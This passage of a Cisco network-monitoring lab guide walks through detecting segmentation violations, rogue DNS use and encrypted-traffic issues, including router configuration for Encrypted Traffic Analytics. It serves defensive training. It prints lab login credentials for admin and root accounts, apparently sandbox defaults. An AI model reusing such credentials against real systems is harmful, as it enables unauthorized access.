| NAME *   | DESCRI        | IPTION<br>uthorized Con | nection will viola    | te Security F | Policy 2      |                                  | STATUS ON 3                                  |  |  |
| When any host within <i>Protected Asset Monitoring</i> co  | ommunicates w | ith any hos             | t within <i>Clier</i> | nt IP Rang    | es (DHCP Rang | <b>ge)</b> , an alarm is raised. | ACTIONS                                      |  |  |
| SUBJECT HOST GROUPS  |               |                         |                       |               | 8             | AND                              | Alarm when a single flow matches this event. |  |  |

In this task, we will use the Remote Workstation to connect to the Telnet server.

- 1. Open <u>https://dcloud.cisco.com</u> in a web browser, and then select My Hub.
- 2. Select View for the current Cisco Secure Network Analytics 7.1 & ETA Test Drive Lab.



3. Select the Remote Desktop hyperlink under Remote Workstation as illustrated below.



- 4. If you are prompted to log in, use **admin** for the username and **C1sco12345** for the password.
- Launch AnyConnect and log in to Cisco AnyConnect Corporate VPN Employees profile with username employee and password C1sco12345.

**Note:** AnyConnect may already be running from a previous session.

| 🕙 Cisco AnyConnect   Corporate VPN - Employees 🛛 🗙                             | 🕙 Cisco AnyConnect Secure Mobility Client — 🗆 🛛 🗙   |
|--|---|
| Please enter your username and password. Username: employee Password: ******** | VPN:           Please enter your username and password.           Corporate VPN - Employees         Connect |
| OK Cancel  |   |

#### Generate traffic to the Protected Assets host group

- 6. Launch Chrome from the desktop, and then enter https://198.19.20.134 in the host name field
  - a. Note: Allow the security exception if requested



- 7. Close Chrome, and then launch WinScp from the desktop as illustrated below.
- 8. For File Protocol, select SCP.
- 9. For the Host Name, Type 198.19.20.134.
- 10. Enter root for the username and C1sco12345 for the password.
- 11. Select Login.

Note: If a security exception displays, select Yes.



© 2021 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information.



12. Drag and drop the file encrypted-customer-DB from the /root folder on the right panel to the Documents folder in the left panel as illustrated below. Once the file finishes copying, close Winscp.



13. While the file is transferring, view the following article: <u>https://www.cisco.com/c/en/us/about/security-center/framework-segmentation.html</u>



#### Verify segmentation violations

Now, let's login into Secure Network Analytics to verify the segmentation violations.

- Log in to Secure Network Analytics: Open Chrome and select Favorites > Appliances > SMC (WebUI). If you are already logged into the SMC, refresh the browser to update information displayed.
- 2. Log into the SMC using admin for the username and C1sco12345 for the password.
- 3. Select Monitor > Host Groups as illustrated below.
- 4. Select Change Host Group.
- 5. Check Protected Asset Monitoring.
- 6. Select Apply.





#### Explore the reporting within the Host Group Report for Protected Asset Monitoring

You may need to wait a few minutes and refresh this dashboard for all traffic and alarm reporting to show up. Notice the Policy Violation

- 1. Make note of the traffic **Summary** as illustrated below in how much traffic has entered and left this host group as illustrated below.
- 2. Make note of the IP address 198.19.20.134 in the Top Alarming Hosts
- 3. Make note of the Top Host Groups by Traffic which illustrates traffic to other internal host groups and traffic to the Internet. Click the Remote VPN IP Pool and select View Flows.



#### 4. When flow results return, select Manage Columns as illustrated below.

#### Figure 7. Flow Table

| diale Stealth  | watch  | D  | ashboards               | Monitor An     | alyze Jobs    | Configure                     | Deploy         | ٩                  |                            | Desktop Client              |
|--|--|--|-------------------------|----------------|---------------|-------------------------------|----------------|--------------------|----------------------------|-----------------------------|
| Flow Search Res  | sults (5)  |  |                         |                |               |                               |                |                    |                            |                             |
| Edit Search 02/0<br>Subject: Prot<br>Connection: All ( | 13/2019 06:29 PM - 02<br>ected Asset Monitoring<br>Flow Direction) | / <b>/04/2019 06:29 AM</b> (T<br>(Host Groups) <b>Either</b> | ime R <b>2,000</b> (Max | Records)       |               |                               | Save Sear      | ch Save Re<br>1009 | Sults Start M<br>GComplete | New Search<br>Delete Search |
| Peer: Rem  | ote VPN IP Pool (Host (  | Groups)  |                         |                |               |                               | 5              |                    |                            | _                           |
| 0  |  |  |                         |                |               |                               | Manage Columns | Summary            | Export $\sim$              |                             |
| START  | DURATION   | FLOW ACTION  | SUBJECT IP A            | SUBJECT NAT    | SUBJECT PO    | SUBJECT HO                    | SUBJECT USER   | SUBJECT BYT        | SUBJECT PAY                | SUBJECT PR.                 |
| Ex. 06/09/2  | Ex. <=50min4(  | Ex. permitted  | Ex. 10.10.10.1          | Ex. 50.233.88. | Ex. 57100/UDI | Ex. "catch All"               | Ex. john       | Ex. <=50M          | Ex. "HEAD http:            | Ex. chrome.e                |
| Feb 3, 2019<br>10:14:25 PM<br>(9hr 7min 24s age        | 4min 13s   | permitted  | 198.19.20.134 💮         | )              | 80/TCP        | Protected Asset<br>Monitoring |                | 2.42 K             |                            |                             |

5. Ensure the columns highlighted below are checked, in addition to the standard columns as illustrated below:

- a. Connections: select all of the Encryption columns and Flow Action
- b. Subject: select Subject NAT and Subject Process Name
- c. Peer: select Peer NAT and Peer Process Name

| Flow Table Columns  | Flow Table Columns  | Flow Table Columns   |
|---|---|--|
| Connection  Start  Start  Protocol  Application  Application  Application  Connections  Applica | Subject ASN       Subject NAT Hostname         Subject ASN Assignment       Subject NAT Hostname         Subject ASN Assignment       Subject NAT Hostname         Subject Byte Rate       Subject Packats         Subject Byte Ratio       Subject Packats         Subject File Mash       Subject Parent File Mash         Subject Hord Route       Subject Parent File Mash         Subject Hord Route       Subject Parent File Mash         Subject Hord Route       Subject Parent File Mash         Subject Hord Routes       Subject Parent Routes Ratio         Subject Location       Subject TAV Routes         Subject Location       Subject SVM Packets         Subject MAC Vendor       Subject SVM Packets         Subject MAC Vendor       Subject TrustSec ID | Prev       Ceneral         Peer ASN       Peer NAT Hostname       Peer TrustSec Name         Peer ASN Assignment       Peer NAT Port       Peer User         Peer Byte Rate       Peer Orientation       Peer Packet Rate         Peer Byte Rato       Peer Packet Rate       Peer Packet Same         Peer Byte Rato       Peer Packet Rate       Peer Packet Rate         Peer Byte Rato       Peer Parent File Mash       Peer Parent File Mash         Peer File Hash       Peer Parent File Mash       Peer Parent File Mash         Peer Instracts       Peer Parent File Mash       Peer Parent File Mash         Peer Instracts       Peer Parent File Mash       Peer Parent File Mash         Peer Instracts       Peer Parent File Mash       Peer Parent File Mash         Peer Instracts       Peer Parent File Mash       Peer Parent File Mash         Peer Instracts       Peer Parent File Mash       Peer Parent File Mash         Peer Instracts       Peer Parent File Mash       Peer Parent File Mash         Peer Instracts       Peer Parent File Mash       Peer Parent File Mash         Peer Maddress       Peer Parent File Mash       Peer Maddress         Peer Maddress       Peer Parent File Mash       Peer Parent File Mash         Peer Maddress       Peer Parent File Mash |
| Select All Deselect All Restore Defaults Cancel Set   | Select All Deselect All Restore Defaults Cancel Set   | Select All Deselect All Restore Defaults Cancel Set  |



- 6. Review the flow table results and you should see results similar to below:
  - a. The Encryption columns should reflect the TLS version information used in the https sessions. This field is only populated by switches, routers, and exporters capable of exporting ETA flow records such as the Catalyst 9000 platform. Having access to this level of information throughout your network will allow for crypto auditing and ensuring the latest TLS encryption is being used.
  - b. Peer Process Name will show the application used on the AnyConnect workstation to generate the network traffic. This field is only populated if AnyConnect 4.2 or later is running on the endpoint with the network visibility module configured to export flow telemetry into Secure Network Analytics.
  - c. The Flow Action will show permit or deny if exporting flow from an ASA or NGFW into Secure Network Analytics.

|   | Subject: Prot     | ected Asset Monitoring   | (Host Groups) Eithe | r (Orientation)     |                 |                |              |                       | 100        | % Complete     | Delete Search               |
|---|-------------------|--------------------------|---------------------|---------------------|-----------------|----------------|--------------|-----------------------|------------|----------------|-----------------------------|
|   | Connection: All ( | Flow Direction)          |                     |                     |                 |                |              |                       |            |                |                             |
|   | Peer: Rem         | note VPN IP Pool (Host ( | Groups)             |                     |                 |                |              |                       |            |                |                             |
| • |                   |                          |                     |                     |                 |                | N            | lanage Columns        | Summary    | Export 🗸       |                             |
|   | ENCRY             | ENCRYPTION               | ENCRYPTION          | ENCRYPTION          | PEER IP ADDR    | PEER NAT       | PEER PORT/P  | PEER HOST G           | PEER BYTES | PEER PAYLOAD   | PEER PROCES                 |
|   | Ex. 0             | ON TLS/SSL VERSION       | Ex. ECDSA           | Ex. AES_256_        | Ex. 10.255.25:  | Ex. 50.233.88. | Ex. 2055/UDP | Ex. "Catch All"       | Ex. <=50M  | Ex. "404 Found | Ex. cl <mark>o</mark> me.e. |
| , |                   |                          |                     |                     | 198.19.10.100 💮 |                | 19287/TCP    | Remote VPN IP<br>Pool | 2.09 K     |                | chromexe                    |
| , | TLS 1.2           | ECDHE                    | RSA                 | AES_256_GCM/2<br>56 | 198.19.10.100 💮 |                | 22875/TCP    | Remote VPN IP<br>Pool | 3.17 K     |                | chrome.exe                  |
| , |                   |                          |                     |                     | 198.19.10.100 💮 |                | 22893/TCP    | Remote VPN IP<br>Pool | 5.62 K     |                | WinSCP.exe                  |
| , | TLS 1.2           | ECDHE                    | RSA                 | AES_256_GCM/2<br>56 | 198.19.10.100 💮 |                | 19296/TCP    | Remote VPN IP<br>Pool | 9.91 K     |                | chrome.exe                  |
| , |                   |                          |                     |                     | 198.19.10.100 💮 |                | 19369/TCP    | Remote VPN IP<br>Pool | 6.06 K     |                | WinSCP.exe                  |

### Summary

Within this test plan, you learned:

- How host groups can automatically be updated. There is a Host Group Automation service that may be purchased to simplify synching your IPAM with the SMC host group tree.
- How to create a custom security event.
- How to generate traffic to a Custom Security Event.
- How to investigate through the Host Group Report.
- How to view added context within the Flow Table results.

### Lab 9. Detect traffic to rogue DNS servers

Rogue DNS attacks are difficult to detect without tools because the network appears to be operating normally. Rogue DNS servers arise from either a Trojan or another form of attack. After the initial attack, hackers embed their own DNS server on a network to redirect traffic to external sites for malicious purposes.

Watch the supporting lab video overview > <u>https://cs.co/SWTestDrive-Lab9</u>.

### **Test Drive Objectives**

The Secure Network Analytics Management Console (SMC) Web User Interface (UI) Flow Search and Custom Events functions can detect DNS activity from illegitimate DNS servers. You can save custom events and schedule custom searches to periodically identify possible rogue DNS traffic. A custom flow search with the following criteria can detect rogue DNS traffic:

- Port/Protocol
- Included/excluded hosts
- Orientation of the object and peer
- Application signature

### **Test Drive Requirements**

The Secure Network Analytics system configuration minimum requirements are:

- Visibility of host-to-host traffic from the core/distribution
- Secure Network Analytics Release 6.9 or greater

### Attack Scenario

A user has inserted a USB key that they found on the street into their PC, and since then has been complaining that their PC is accessing strange internet sites when they use their web browser. Secure Network Analytics will detect and alert you to any device on your network that is accessing unauthorized DNS servers.

The reason you should be concerned about rogue DNS servers on your network is that they could redirect traffic from the intended hosts that a client is attempting to reach. For example, a user that is attempting to access Amazon.com could be redirected by a rogue DNS server to a phishing site that has been crafted to look like Amazon, thus potentially compromising their account. This is known as DNS Hijacking, and additional information on DNS Hijacking can be found at https://en.wikipedia.org/wiki/DNS\_hijacking.



### Task 1: Validate Custom Security Event for Traffic to Rogue DNS Servers

- 1. Log in to Secure Network Analytics: Open Chrome and select Favorites> Appliances > SMC (WebUI). If you are already logged into the SMC refresh the browser to update information displayed.
- 2. Log into the SMC using the following credentials, using admin for the username and Cisco12345 for the password.
- 3. Navigate to **Configure > Policy Management**.
- 4. Select Custom Events.
- 5. Scroll down and find CSE: Unauthorized DNS Traffic. Select Edit from the actions, as illustrated below.

**Note:** This rule was pre-configured for this lab but can be replicated in any environment running Secure Network Analytics 6.9 or greater.

|  |  |  |  |   |                        | ~ ~  | and the second second |
|--|--|--|--|---|------------------------|------|-----------------------|
| Stealthwatch   | Dashboa  | ards Monitor Ar  | nalyze Jobs  | Configure Deploy  | ٩                      |      | Desktop Cl            |
| icy Management<br>arch for a host or select a host gr<br>ustom Events (7) Relation | oup III Search   | ents (802) 🌑   | ,<br>,<br>,<br>,   | Network Tassification<br>Host Grop Management<br>Applicy Management & 3       |                        | Cre  | ate New Poli          |
|  |  |  |  |   |                        |      |                       |
| EVENT V  | DESCRIPTION  |  | SUBJECT  | PEER  | STATUS                 |      | ACTIONS               |
| EVENT CSE: Unauthorized DHCP<br>Server   | DESCRIPTION<br><i>Ex. Data Center</i><br>Detects possible rogue DHCP servers. Classify authorized<br>DHCP Servers with the DHCP Servers host group to tune out authorized DHCP server traffic. | DATE MODIFIED Ex. 01/28/2018 12:00 Ph 04/16/2017 3:32 PM | SUBJECT<br>Ex. Inside Hosts<br>Inside Hosts,<br>DHCP Servers,<br>255.255.255.255 | PEER<br>Ex. Inside Hosts<br>Inside Hosts,<br>DHCP Servers,<br>255.255.255.255 | STATUS<br>Ex On<br>Off | Edit | ACTIONS               |

- 6. Switch the **Status** to **ON**.
- Review the Find section. This section defines what flows to look for which would be any traffic over UDP or TCP port 53 (which is the default DNS port), and between Inside Hosts, excluding authorized Internet Services parent group and the Outside Hosts, excluding Authorized External DNS Servers such as Cisco Umbrella, and then click Save, as illustrated below.

|   | ili ili<br>cisco | Stealthwatc             | h r                           | Dashboards             | Monitor            | Analyze          | Jobs          | Configure       | Deploy                  | Q 🕑 🌣 Desktop Client                     |
|---|------------------|-------------------------|-------------------------------|------------------------|--------------------|------------------|---------------|-----------------|-------------------------|--|
|   | Policy           | / Management            | Custom Security E             | vent                   |                    |                  |               |                 |                         | Cancel Save 8                            |
|   |                  |                         |                               |                        |                    |                  |               |                 |                         | Actions ~                                |
|   | NAME *           |                         |                               | DESCRIP                | TION               |                  |               |                 |                         | STATUS                                   |
|   | .CSE:            | Unauthorized DNS Traffi | C                             | Gener                  | ate an alarm v     | when an internal | host is using | an unauthorized | public DNS server. TI   | nis event wi                             |
|   |                  |                         |                               |                        |                    |                  |               |                 |                         |  |
|   | When             | any host within Ins     | <i>ide Hosts</i> except those | within Interne         | et Services        | communicate      | es with an    | y host within   | <i>Outside Hosts</i> ex | cept those within Authorized External    |
|   | DNS S            | Servers; through 53     | /UDP or 53/TCP, an ala        | arm is raised.         |                    |                  |               |                 |                         |  |
| 7 | FIND             | )                       |                               |                        |                    |                  |               |                 |                         | ACTIONS                                  |
| Γ | SUBJE            | CT HOST GROUPS          | Inside Hosts × EXCEPT ! Inte  | ernet Services $	imes$ |                    |                  |               | ⊗ AND           |                         | Alarm when a single<br>flow matches this |
|   | PEER H           | IOST GROUPS             | Outside Hosts × EXCEPT ! A    | Authorized External DN | NS Servers $	imes$ |                  |               | ⊗ AND           |                         | event.                                   |
|   | PEER P           | PORT/PROTOCOLS          | 53/UDP $	imes$ 53/TCP $	imes$ |                        |                    |                  |               | $\otimes$       |                         |  |

#### Task 3: Monitor for Rogue DNS Server Access

In this section, we will generate traffic to an unauthorized DNS server to generate alerts.

- 1. Access the command line from the desktop on your Wkst1, (start > run > cmd)
- 2. Type the command **nslookup** as illustrated below.
- 3. Next type the command: server 8.8.8.8
- 4. Now type in a few addresses for the rogue server to resolve as illustrated below.
  - a. www.amazon.com
  - b. www.facebook.com
  - c. www.cisco.com
  - d. www.microsoft.com

#### Figure 8. nslookup sample dialog



You should start to see alerts from the custom security event showing up on the Security Insights Dashboard after a few minutes.





- 5. Click the section slice of pie that shows CSE: Unauthorized DNS Traffic to bring up a listing of the events generated by your alert.
- 6. To investigate further, click the View Details for the 198.19.30.36 as illustrated below.

| cisco S               | Stealthwatch          | 1                   | Dash                  | nboards Mon         | itor Analyze                      | Jobs            | Configure       | Deploy         |                 |                    | ٩           | 🕑 🌣 Des      | ktop Client |
|-----------------------|-----------------------|---------------------|-----------------------|---------------------|-----------------------------------|-----------------|-----------------|----------------|-----------------|--------------------|-------------|--------------|-------------|
| .CSE: U               | nauthorized DN        | S Traffic   09      | /09/2019 (1           |                     |                                   |                 |                 |                |                 |                    |             |              |             |
| Alarms                |                       |                     |                       |                     |                                   |                 |                 |                |                 |                    |             |              |             |
| First<br>Active       | Source Host<br>Groups | Source              | Target Host<br>Groups | Target              | Alarm                             | Policy          | Event<br>Alarms | Source<br>User | Details         | Last<br>Active     | ‡<br>Active | Acknowledged | Actions     |
| 9/8/19<br>10:04<br>PM | Catch All             | 10.201.15.25<br>⊙   | United States         | 8.8.8.8 ⊙           | .CSE: Unauthorized<br>DNS Traffic | Inside<br>Hosts |                 | herbert        | View<br>Details | 9/8/19<br>10:04 PM | No          | No           | •••         |
| 9/8/19<br>10:04<br>PM | Catch All             | 198.18.133.100<br>⊙ | United States         | 8.8.8.8 ⊙           | .CSE: Unauthorized<br>DNS Traffic | Inside<br>Hosts |                 |                | View<br>Details | 9/8/19<br>10:05 PM | No          | No           | <b></b>     |
| 9/8/19<br>10:04<br>PM | File Servers          | 198.19.30.36<br>⊙   | United States         | 8.8.8.8 ⊙           | .CSE: Unauthorized<br>DNS Traffic | Inside<br>Hosts |                 | admininstrator | View<br>Details | 9/8/19<br>10:04 PM | No          | No           | $\odot$     |
| 9/8/19<br>10:04<br>PM | Domain Controllers    | 198.19.20.10<br>⊖   | United States         | 199.180.180.63<br>⊖ | .CSE: Unauthorized<br>DNS Traffic | Inside<br>Hosts |                 |                | View<br>Details | 9/8/19<br>10:05 PM | No          | No           | •••         |

7. To investigate the flow records, select Associated Flows from the Actions as illustrated below.

| ISCO      | Stealth   | watch  |  | Dashboards                                    | Monitor                                 | Analyze             | Jobs Con                        | figure D  | eploy  |  |                               | Desktop Clie  |
|-----------|---|--|--|---|---|---------------------|---------------------------------|---|--|--|-------------------------------|---|
| ecu       | urity Events  | 198.19.30.   | 36 (1)   |   |   |                     |                                 |   |  |  |                               |   |
| AII S     | Security Events   | s For 198.19.30  | .36  |   |   |                     |                                 |   |  |  | Associated Flows              | Edit  |
| Þ         | SECURITY EVENT<br>.CSE: Unauthorize<br>Traffic - 53   | r COUNT<br>ed DNS 1  | с<br>0   | ONCERN INDEX                                  | FIRST ACTIV<br>09/08 10:01:             | /E SO<br>:45 PM 198 | URCE HOST<br>3.19.30.36 ↔       | SOURCE<br>File Serve  | HOST GRO<br>'S                                 | TARGET HOST<br>8.8.8.8 ⊙   | Tune Event Subject IP: 198.19 | ACTION  |
| ılı<br>co | Stealth   | watch  |  | Dashboards                                    | Monitor                                 | Analyze             | Jobs Conf                       | igure De  | ploy   |  | 00                            | Desktop Clie  |
| dit       | t Search 09   | 9/08/2019 09:00 <u>PM - 0</u>  | 09/08/2019 10:01 <u>PM</u> (   | Fime Ra 2,000 (Ma                             | ax Records)                             |                     |                                 |   | ſ  | Save Search  | Save Results                  | Start New Search  |
| Edit<br>( | t Search     09       Subject:     19       Connection:     All       Peer:     8.4   | 9/08/2019 09:00 PM - 0<br>98.19.30.36 Client (O<br>II (Flow Direction)<br>8.8.8 (Host IP Address)  | <b>09/08/2019 10:01 PM</b> (†<br>Irientation)  | Fime Ra <b>2,000</b> (Ma                      | ax Records)                             |                     |                                 |   | (  | Save Search  | Save Results                  | Start New Search<br>Delete Sear                               |
| Edit<br>( | t Search 09<br>Subject: 19<br>Connection: All<br>Peer: 8.1  | 9/08/2019 09:00 PM - 0<br>98.19.30.36 Client (C<br>III (Flow Direction)<br>8.8.8 (Host IP Address)   | De/De/2019 10:01 PM ()   | Time Ra <b>2,000</b> (Ma                      | ax Records)                             |                     |                                 | Man   | age Columns                                    | Save Search<br>Summary   | Save Results                  | Start New Search<br>Delete Sear                               |
| Edit<br>( | t Search 09<br>Subject: 19<br>Connection: AI<br>Peer: 8.<br>START   | 9/08/2019 09:00 PM - 0<br>98.19.30.36 Client (0<br>II (Flow Direction)<br>8.8.8 (Host IP Address)<br>FLOW ACTION   | DejOojZ019 10:01 PM ()   | Time Ra 2,000 (Ma<br>SUBJECT NAT              | ax Records)<br>SUBJECT PO               | SUBJECT PR          | TOTAL BYTES                     | │ Man<br>Y PEER IP AD   | age Columns  <br>DR PEER NAT                   | Save Search<br>Summary<br>T Ho PEER PORT                         | Save Results                  | Start New Search<br>Delete Sear<br>Delete Sear                |
| Edit<br>( | t search 09<br>Subject: 19<br>Connection: All<br>Peer: 8.<br>START  | 9/08/2019 09:00 PM - 0           98.19.30.36         Client (O           18 (Flow Direction)           8.8.8 (Host IP Address)           FLOW ACTION           Ex. permitted | be/06/2019 10:01 PM (           trientation)           SUBJECT IP A           Ex. 10.10.10.1                           | Time Ra 2,000 (Ma<br>SUBJECT NAT<br>Ex. cisco | SUBJECT PO<br>Ex. 57100/UD.             | SUBJECT PR          | TOTAL BYTES                     | <ul> <li>Man.</li> <li>PEER IP AD</li> <li>Ex. 10.255</li> </ul>                      | age Columns  <br>DR PEER NAT<br>25: Ex. cisco  | Save Search Summary THO PEER PORT D Ex. 2055/1                   | Save Results                  | Start New Search<br>Delete Sear<br>Delete Sear                |
| Edit<br>( | t search         09           Subject:         19           Connection:         Al           Peer:         8.           START         Image: Constraint of the second | 9/08/2019 09:00 PM - 0<br>98.19.30.36 Client (O<br>III (Flow Direction)<br>8.8.8 (Host IP Address)<br>FLOW ACTION<br>Ex. permitted   | be/ce/2019 10:01 PM ()           Wrientation)           SUBJECT IP A           Ex. 10.10.10.1           198.19.30.36 • | SUBJECT NAT Ex. cisco                         | SUBJECT PO<br>Ex. 57100/UD<br>55060/UDP | SUBJECT PR          | TOTAL BYTES           Ex. <=50M | <ul> <li>Man.</li> <li>✓ PEER IP AD</li> <li>Ex. 10.255</li> <li>8.8.8.8 ⊙</li> </ul> | age Columns  <br>DR PEER NAT<br>.25. Ex. cisco | Save Search<br>Summary<br>T HO PEER PORT<br>Ex. 2055/0<br>53/UDP | Save Results                  | Start New Search<br>Delete Sear<br>Ore ~ I III III<br>ACTIONS |

As you can see, the system 198.19.30.36 accessed a rogue DNS server at 8.8.8.8.

#### Summary

Within this test plan, you learned:

- How to create a custom security event to detect rogue DNS servers.
- How to trigger and then investigate a rogue DNS server event.

### Lab 10. Use ETA for compliance and malware detection

### About encrypted traffic analytics (ETA)

The percentage of encrypted traffic has been increasing each year since the IP protocol began to support cryptography. The use of Internet Protocol (IP) Secure Sockets Layer (SSL) and Transport Layer Security (TLS) cryptography grew 90 percent from 2015 to 2016. Industry analysts from Gartner predict that more than 80 percent of all web traffic will be encrypted by 2019. Encrypted traffic hides possible threats to a network. Until recently, there was no way to analyze encrypted traffic without decrypting it; making it difficult to effectively monitor networks for threats.

Cisco Encrypted Traffic Analytics addresses this problem by producing new telemetry data specifically derived from SSL / TLS connections. This data is then exported to a Secure Network Analytics Flow Collector where it is processed and stitched with connection data to provide new insights into network communications.

Watch the supporting lab video overview here > <u>https://cs.co/SWTestDrive-Lab10</u>.

### **Test Drive Objectives**

Using ETA technology, Secure Network Analytics detects malware in encrypted traffic without decryption by collecting network telemetry from Cisco IOS-XE devices including routers, switches, and Wireless LAN Controllers. ETA data is also produced by the version 7.1 or later Secure Network Analytics Flow Sensor. Secure Network Analytics uses this data along with advanced entity modeling and multilayer machine learning to improve the fidelity of malware detection in encrypted traffic. These new techniques also use the Talos global threat map to identify and correlate known global threats to the local environment.

### **Test Drive Requirements**

Visit <u>http://www.cisco.com/go/eta</u> for an overview on ETA, how to enable it, and how to get started.

The Secure Network Analytics system configuration requirements are:

- Stealthwatch Management Console & Flow Collector release 6.9.2 or greater. It is suggested that to get maximum benefit out of ETA you deploy the latest version of Secure Network Analytics. Note that Secure Network Analytics apps are only supported in version 7 and later.
- To use the Secure Network Analytics Crypto Audit app you will need Secure Network Analytics v7.0 or later components.
- To use the Cognitive Threat Analytics (CTA) capabilities you will need to ensure that the SMC and Flow Collector can communicate over the Internet (either direct or through a non-SSL proxy).
- To use ETA for malware detection the CTA feature must be enabled. Note that Secure Network Analytics with CTA can detect some forms of malware without ETA data.
- To investigate the source of some Internet malware detections it is necessary to send Internet NAT or proxy data to the Flow Collector. This allows for public IP addresses to be stitched into the connection data at the Flow Collector.



### **Test Drive Outline**

- Task 1. Enable Encrypted Traffic Analytics
- Task 2. Verify Encrypted Traffic Analytics
- Task 3. Crypto audit to enforce authorized encryption standards
- Task 4. Encrypted Malware Detection

#### Task 1: Enable encrypted traffic analytics

ETA=capable platforms include the following devices (routers, switches or wireless LAN controllers running Cisco IOS-XE version 16.6 or later with a security feature license):

- Cisco Catalyst 9300 series switch
- ASR 1000 Series Aggregation Services Routers
- 4000 Series Integrated Services Routers
- Cloud Services Router 1000V Series
- Stealthwatch Flow Sensor v7.1 or later

| Step   | Command or Action   | Purpose/Result   |
|--------|---|--|
| Step 1 | enable  | Enables privileged EXEC mode.  |
|        |   | Enter your password if prompted.   |
| Step 2 | configure terminal  | Enters global configuration mode   |
| Step 3 | et-analytics  | Enters encrypted traffic analytics configuration mode  |
| Step 4 | ip flow-export destination ip-address port [vrf vrf-<br>name] | Configures the destination IP address optional VRF name. The ETA records are exported to this destination. |
| Step 5 | exit  | Returns to global configuration mode   |
| Step 6 | interface interface-id  | Specifies the interface and port number and enters interface configuration mode                            |
| Step 7 | et-analytics enable   | Enables encrypted traffic analytics on this interface  |
| Step 8 | end   | Returns to privileged EXEC mode  |

Below is an example of a configuration on a CSR which is already enabled in this lab.

Device> enable Device# configure terminal Device(config)# et-analytics Device(config-et-analytics)# ip flow-export destination 192.0.2.1 2055 vrf green Device(config-et-analytics)# exit Device(config)# interface gigabitethernet 0/0/1 Device(config-if)# et-analytics enable Device(config-if)# end

#### Task 2: Verify Encrypted Traffic Analytics

ETA uses flow metadata to identify malware components, maintaining the integrity of the encrypted traffic without the need for decryption and without compromising data integrity.

ETA extracts the following main data elements from the network flow: the sequence of packet lengths and times (SPLT), TLS-specific features, and the initial data packet (IDP). Cisco's Application-Specific Integrated Circuit (ASIC) architecture provides the ability to extract these data elements without slowing down the data network. Separate templates can be defined for each of the data elements

The following show commands are used to view ETA configuration information on a network router.

- 1. From Wkst1, access putty from the desktop.
- 2. Select the CSR router as shown below

| 🕵 PuTTY Configuration   |   |      | ×                      |
|---|---|------|------------------------|
| Category:   |   |      |                        |
| <ul> <li>Session</li> <li>Logging</li> <li>Terminal</li> <li>Keyboard</li> <li>Bell</li> <li>Features</li> <li>Window</li> <li>Appearance</li> <li>Behaviour</li> <li>Translation</li> <li>Selection</li> <li>Colours</li> <li>Connection</li> <li>Data</li> <li>Proxy</li> <li>Telnet</li> <li>Rlogin</li> <li>SSH</li> <li>SSH</li> </ul> | Basic options for your PuTTY session  |      |                        |
|   | Specify the destination you want to connect to         Host Name (or IP address)       Port         22         Connection type:         Raw       Telnet         Rogin       SSH         Serial |      |                        |
|   | Saved Sessions Default Settings ASAv CDS CDSP CSR EC FCNF   |      | Load<br>Save<br>Delete |
| ···· Senai  | Close window on exit:<br>C Always C Never 💿 Only on clean exit  |      |                        |
| About   |   | Open | Cancel                 |

3. Insert the following password: C1sco12345



- 4. Issue the following commands:
  - a. Device# show platform hardware qfp active feature et-analytics datapath interface gigabitEthernet 2



b. Device# show platform hardware qfp active feature et-analytics datapath memory

CSR#show platform hardware qfp active feature et-analytics datapath memory ET-Analytics memory information: Size of FO : 3200 bytes No. of FO allocs : 30825 No. of FO frees : 30814

c. Device# show platform hardware qfp active feature et-analytics datapath runtime



d. Device# show platform hardware qfp active feature et-analytics datapath stats export

| CSR#\$rm hardware qfp active feature et-analytics datapath stats export |  |  |  |
|---|--|--|--|
| ET-Analytics 198.19.20.139:2055 Stats:                                  |  |  |  |
| Export statistics:  |  |  |  |
| Total records exported : 1871   |  |  |  |
| Total packets exported : 1303   |  |  |  |
| Total bytes exported : 1254684  |  |  |  |
| Total dropped records : 10723   |  |  |  |
| Total dropped packets : 2155  |  |  |  |
| Total dropped bytes : 600148  |  |  |  |
| Total IDP records exported :  |  |  |  |
| initiator->responder : 739  |  |  |  |
| responder->initiator : 126  |  |  |  |
| Total SPLT records exported:  |  |  |  |
| initiator->responder : 729  |  |  |  |
| responder->initiator : 123  |  |  |  |
| Total SALT records exported:  |  |  |  |
| initiator->responder : 0  |  |  |  |
| responder->initiator : 0  |  |  |  |
| Total BD records exported :   |  |  |  |
| initiator->responder : 0  |  |  |  |
| responder->initiator : 0  |  |  |  |
| Total TLS records exported :  |  |  |  |
| initiator->responder : 16   |  |  |  |
| responder->initiator : 16   |  |  |  |
| More  |  |  |  |
e. Device# show platform hardware qfp active feature et-analytics datapath stats flow

```
CSR#$rm hardware qfp active feature et-analytics datapath stats flow
ET-Analytics Stats:
   Flow statistics:
     feature object allocs : 785
     feature object frees : 775
     flow create requests : 27964
     flow create matching : 27179
     flow create successful: 785
     flow create failed, CFT handle: 0
     flow create failed, getting FO: 0
     flow create failed, malloc FO : 0
     flow create failed, attach FO : 0
     flow create failed, match flow: 0
     flow create, aging already set: 2
     flow ageout requests
                               : 775
     flow ageout failed, freeing FO: 0
     flow ipv4 ageout requests : 0
     flow ipv6 ageout requests
                                  : 0
     flow whitelist traffic match : 0
```



### Task 3: Crypto audit to enforce authorized encryption standards

### Generate Traffic to a Protected Server running TLS 1.0

Watch the Supporting lab video overview here > <u>http://cs.co/SWTestDrive-Lab10-Crypto-Audit</u>.

Secure Network Analytics can retain encryption related attributes of observed network connections and display it in the SMC, enabling Crypto auditing and assurance use cases.

- 1. Launch Chrome from the desktop of Wkst1.
- 2. From the Test Sites bookmark toolbar select Compliance-Server and fakesensitvedata.csv to download. See the image below. Using the infrastructure directly you can audit the cryptographic levels being used for any server hosting sensitive data.



## Use the Cryptographic Audit app (Secure Network Analytics v7.0 or later)

A crypto audit dashboard has been added within Secure Network Analytics to help audit and report on traffic that does not meet you company encryption standards and compliances. This dashboard is available in Secure Network Analytics 7.0 as an importable App.

- 1. From the SMC web interface launch Dashboards > ETA Cryptographic Audit
- 2. Select the date and time for the current day. For the end time it is easiest to select Today and Now.
- 3. Select the Subject Host Groups filter for the Protected Asset Monitoring.
- 4. Select the Peer Host Groups filter for the Inside Hosts.
- 5. Select Search.

None

TLS 1.0

None

TLS\_ECDHE\_RSA\_WITH\_AES\_256\_CBC\_SHA

6. Locate the TLS 1.0 connection and select View Flows as illustrated below



If it is not already displayed in the flow results, select Manage Columns and select Encryption TLS/SSL Version and the other Encryption columns as illustrated below.

256

1

Edit

875 B

23 KB

Flow Table Columns

| Domain                              | Start                    | Total Packets       |
|-------------------------------------|--------------------------|---------------------|
| End                                 | Flow Action              | Total Traffic (bps) |
| Duration                            | MPLS Label               | VLAN ID             |
